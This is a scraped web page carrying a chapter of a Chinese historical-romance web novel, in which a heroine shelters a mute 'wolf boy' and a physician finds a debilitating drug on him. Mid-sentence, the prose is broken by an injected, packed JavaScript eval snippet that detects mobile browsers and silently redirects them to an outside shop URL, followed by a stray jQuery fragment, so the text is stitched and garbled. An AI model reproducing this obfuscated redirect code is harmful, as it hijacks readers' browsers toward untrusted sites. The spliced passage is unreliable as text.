文趣网 > 其他小说 > 王妃肯登基了吗 > 19. 入梦(六)
    谢真君又喂了他几口水。久逢甘霖般,谢真君的手都抽之不及,少年捧着一杯杯全部一饮而尽。

    周怀澈道:“行了,我知道那里适合他。把他送到我皇叔的孤福苑,这几日郑繁之都在那里,自会有人照顾他。”

    原来阿福和魏来都是周明渊捡回来的,这个王爷心思最软,听不得哭啼大喊,见不得人间苦难,捡来捡去,王府是住不下了,又在郑简的帮助下,干脆建了一所孤福苑,专门收留流浪儿。

    谢真君问:“在哪儿?”

    周怀澈道:“你若同意,我带他去。”

    听此,少年瞳孔睁大,抓着谢真君的手臂,极力往她身后缩去。

    谢真颢警告他:“你个小畜生,别在这里得寸进尺!”

    谢真君耐心安抚他道:“你叫什么?家在哪里?”

    他发愣,似乎是在极力理解这句话,然后摇头:“不知道。”

    周怀澈冷笑一声:“呵,小骗子。”

    谢真君:“那奴贩子说你是从西凉捡来的,你是西凉人?”

    他又答:“不知道。”

    谢真君:“那你父母呢?”

    “不知道。”

    一问三不知,好像除了孤福苑,确实无处可去了。

    谢真君:“让他带你去孤福苑,那里有人照顾你,行不行?”

    他紧紧盯着谢真君,又是摇头。

    谢真君:“那你跟着我?”

    他还未点头,谢真颢呵斥道:“你想得美,我家绝不收你这种来历不明的人。谢真君,你行善可以,但先考虑自己行不行?你让他去谢家,万一哪天他又发狂——装得可怜,说不准就是个黑心黑肝的白眼狼。我告诉你,小畜生,能送你去孤福苑已经是大发慈悲了,别——呵。”见谢真君面色不悦,他便没说出那句“给脸不要”。

    周怀澈:“不如我俩一起去,我看他一时半会儿是离不了你了。”

    谢真颢:“我也一起去。”

    谢真颢:“太子殿下,今日可能要麻烦你接待程先生了。”

    太子颔首应道:“无妨。”

    谢真君面对狼孩正色道:“你听到了,现在,要么跟我们走,要么就留在这里。”

    狼孩面露紧张,见他犹豫之际,谢真君才反应过来——他现在裹着被子,而被子下几乎是衣不蔽体。

    恍然大悟,刚要开口,一人敲门进来,道:“三殿下,您要的衣服。”

    那人退下,周怀澈随手抓来衣服丢在床上。

    然后,那狼孩又开始盯着谢真君。

    谢真君:“知道了,知道了,我回避。”

    可他还是抓着不放,谢真君不解,他踌躇着小声开口:“……我不会。”

    谢真君失声笑了一瞬。谢真颢又气又恼硬生生把谢真君推出门外。“麻烦!”稍顷,门开了,穿了正常衣服后“人模狗样”的狼孩夺门而出,又仓惶躲在谢真君身后。

    ……

    长安街市灯如白昼,车水马龙,喧闹不减。狼孩怯生生拉着谢真君衣角——这是谢真颢允许他暂时跟在谢真君旁边的最大让步。

    灯火里,他翠绿的眼睛异常明烁,谨慎而好奇地东张西望时,总是不由自主盯向那些热气腾腾的摊子。

    谢真君在一个摊子前停住。

    “老板,来份胡饼,还有酪浆。”

    不可思议地接过这份热腾宣软,谢真君示意他,他立刻狼吞虎咽疯吃疯喝起来。

    谢真君让他慢点,这副模样,明显是被那鸿福馆的人饿了不知道多少天。

    他捧着热气腾腾的酪浆吞咽,即使烫得呛出了泪,在碗的后面,也和着酪浆一起咽下。

    “你——你当真不知道自己是谁?”

    狼孩怔怔开口,一字一字费劲往外蹦,却咬得无比清晰:“你叫,谢真……君……”

    “不是我的名字,是你,你的名字。”

    “……不知道。”

    见他这副呆头样子,谢真颢似乎也觉得先前的话重了些,不耐烦道:“你给他取个算了,总不能一直喊他小畜生。”

    听此三字,他又警觉起来,厉目瞪着谢真颢。

    谢真君有些发笑,原来他只是有些察言观色的聪明,实际上听不懂多少中原话。

    但是取名这种事,说大不大,说小不小。但如果她的一句话要伴随这人一生,还是得郑重些,于是谢真君道:“先走吧。”

    不同于谢真君想象中悲戚的场景,中秋佳节,孤福苑一片欢声笑语其乐融融。郑简在院中石桌前,给大大小小排着队的孩子诊脉。周明渊仍是那样,躺在摇椅上,一边慢慢扇风,一边啃着月饼,只是那些孩子并不让他安生,三三两两挂在椅子上,摇得他晕头转向,几个人刚到,便看见周明渊已经翻倒在地,几个孩子缠在他身上笑着打滚,他不会发火,只是唉声叹气道几句“胡闹,胡闹”。

    周明渊好不容易东倒西歪站起身来,抚平胸口,扑扑身上的灰,抬头一见甚是诧异:“吓,好侄儿,你们怎么来了?”

    周怀澈道了一通原委,周明渊笑道:“好说好说,我去安排。”

    谢真君拉了狼孩在郑简身边坐下,狼孩听话伸出手,并不知道谢真君要他做什么,直到郑简伸手搭脉,他猛然抽回手,眼里怒气顿生,就要袭击郑简。谢真君制止他,呵道:“你再行凶!”

    狼孩呼吸急促,眉眼低垂,咬紧牙关看向谢真君的都是不解、惊惧和怨怼,下一瞬又要发疯。谢真君想到什么,立马松开了他。

    狼孩以为谢真君要打他,瑟缩了一下脖子,两眼紧闭。不想落在身上的不是拳掌。谢真君的手落在他的后枕,一下一下轻轻安抚道:“别怕了,没事了……”

    他缓缓睁眼,听不懂也听懂了。谢真君对他笑着说听话。他把手重新放回去,只是郑简搭脉时他的肌肉还是不由得紧绷发抖,谢真君握着他的另一只手让他不要害怕。

    须臾,郑简笑道:“没事。没什么大事,好好休养几日便可。”

    而后,郑简看着指尖白粉,搓了几下,又闻了闻,神情严肃:“谢小姐,他身上这些不是普通脂粉,里面还掺了……软骨散。”

    听此,谢真颢忙把谢真君从狼孩身前拉开:“江家那帮人,竟然无法无天到这种地步!”

    “还好只是涂在身上,这些剂量就算误食也不会有多大伤害,只是……”郑简道,“幸好你们及时救下他,要是落在有心人手里,恐怕大事不妙。”

    周怀澈道:“先让他去洗澡吧。”

    周明渊忙道:“对,对,来人——”

    狼孩见旁人都是避他不及的样子,又有两个女工要带他走,无措间,谢真君一字一句,对他坚定道:“你随她们去,我在这里,等你,你跟我走。”

    狼孩这才一步三回头地离开。谢真颢道:“谢真君,我就知道你会这样才来看着你。告诉你,不行。”

    谢真君道:“他根本不信这里的人,万一伤了郑大夫,伤了怡亲王,伤了这些孩子们怎么办?”

    周明渊小声对周怀澈道:“确实啊,好侄儿,这……”

    谢真颢:“他听不懂话,又是个呆子,难不成你养他一辈子?”

    谢真君:“等他恢复好了,心情平复了,我再把他送过来不就行了?”

    周明渊听不得有人吵架,便圆场:“我这里没什么,不缺他一口饭,谢小姐,你什么时候来都行。”

    谢真颢向来知道他这个妹妹。一个字,犟,跟牛一样犟。于是他道:“……谢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844984|211727||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    真君,要让我知道他又惹事,我直接把他送到大理寺关起来。”

    几个小孩见那个绿眼睛的怪人走了,又围上来。他们喜欢郑简,都捋着胳膊让郑简给他们诊脉。其实这么大的小孩什么都不懂,只是觉得好玩罢了。

    周怀澈道:“皇叔,几日不来,你这里又热闹了。”

    周明渊又笑又叹:“忍不住多管闲事罢了。好侄儿,其实这长安繁华无限,但上面一层,下面一层。就像谢小姐一样,看不见也就算了,看见了,还能不管吗?”

    谢真君点头称赞。周明渊虽是被长安人暗暗戳脊梁骨的“烂泥扶不上墙”,胆小归胆小,怕事归怕事,但善事却不少做。最大的善事——除了谢真君今日刚知道的孤福苑——便是为郑氏医馆豪掷千金了。

    他又道:“我便罢了,雇几个工匠的事,只是劳累繁之,年年往这边跑。”

    郑简笑道:“我哪敢说劳累,你皇叔付的辛苦费比我开医馆挣得多多了。”

    周怀澈调侃道:“我看你那医馆压根儿就没挣到过钱。”

    郑简道:“是。要不是重白兄,我现在要啃墙泥了。”

    周明渊听此笑道:“你要啃墙泥,郑国公当第一个不同意,那也是他半生心血,恐怕砸锅卖铁都要让你把医馆开下去。”

    正说着,门外传来“哐当哐当”的声响,似乎真有什么铁锅东西沉闷地砸着门。

    谢真君:“是江寿?”

    谢真颢:“他们敢?!”

    转念一想,他们再嚣张跋扈,断不可能追到怡亲王这里来。

    周怀澈开门——

    “魏来?你喝酒了?”

    魏来摇摇晃晃推开周怀澈,怀里抱着酒坛,三步绊两步跪在周明渊脚下,抬头哭道:“恩公——”

    这一抬头,差点没把周明渊吓昏过去。

    他鼻红脸肿,两眼乌青,嘴边还挂着一道道血。

    “是……阿福?她又打你了?嗐吓,怎么下这么重手……”

    魏来不起,趴在周明渊脚边磕头:“恩公,我求你,救救阿福,让她,让她跟我走吧!”

    周明渊也吓得跪了下来,周怀澈以单手遮眼,背过身去——还是堂堂王爷,让人没眼看。

    “我,我劝不动她啊……阿来,你先起来,咱先处理你的伤……”

    顺着周明渊的目光,魏来看到一旁的郑简,白面菩提,朱砂一点,似乎触动了什么,又哭到郑简脚边:“菩萨保佑,菩萨救命,求求菩萨显灵啊……”

    周明渊忙站起身来,又叫了两个人拉开他:“嗐吓……给他煮点解酒汤,让他休息……你们这一天天的,真是……嗐……”

    周怀澈啧啧叹道:“用情至深啊。皇叔,你就不能给他俩牵牵线。”

    周明渊讪笑道:“他俩要能成,哪里用得着我牵线,说成早该成了,可是根本成不了啊。阿福一向最有主意,她从小就不愿待在我这里,阿来……还是罢了,天意弄人吧,阿弥陀佛……”

    翌日,谢真君在书房里查了一上午,在西凉文里选了一个名字——格林。“绿色”的意思。

    谢真颢也只用了一上午,带大理寺的人端了鸿福馆私制禁药的数个黑心作坊——软骨散,只是其中最微不足道的一类。

    江云二子,不过三月,一子惨死,一子锒铛入狱。

    除此之外,鸿福馆里如格林一样的“黑户”买卖多如牛毛,由此往下探去,不过数日,牵扯的文武官员高门权贵竟不下百人,借此逃税漏税者更是不计其数。

    圣上震怒,江家基业再割三分之一。受圣上所托,谢真颢与太子追本溯源,以长安为始,肃清户籍,整顿税务,制订并推行新法。

    整整两个月,谢真颢几乎住在了政事堂。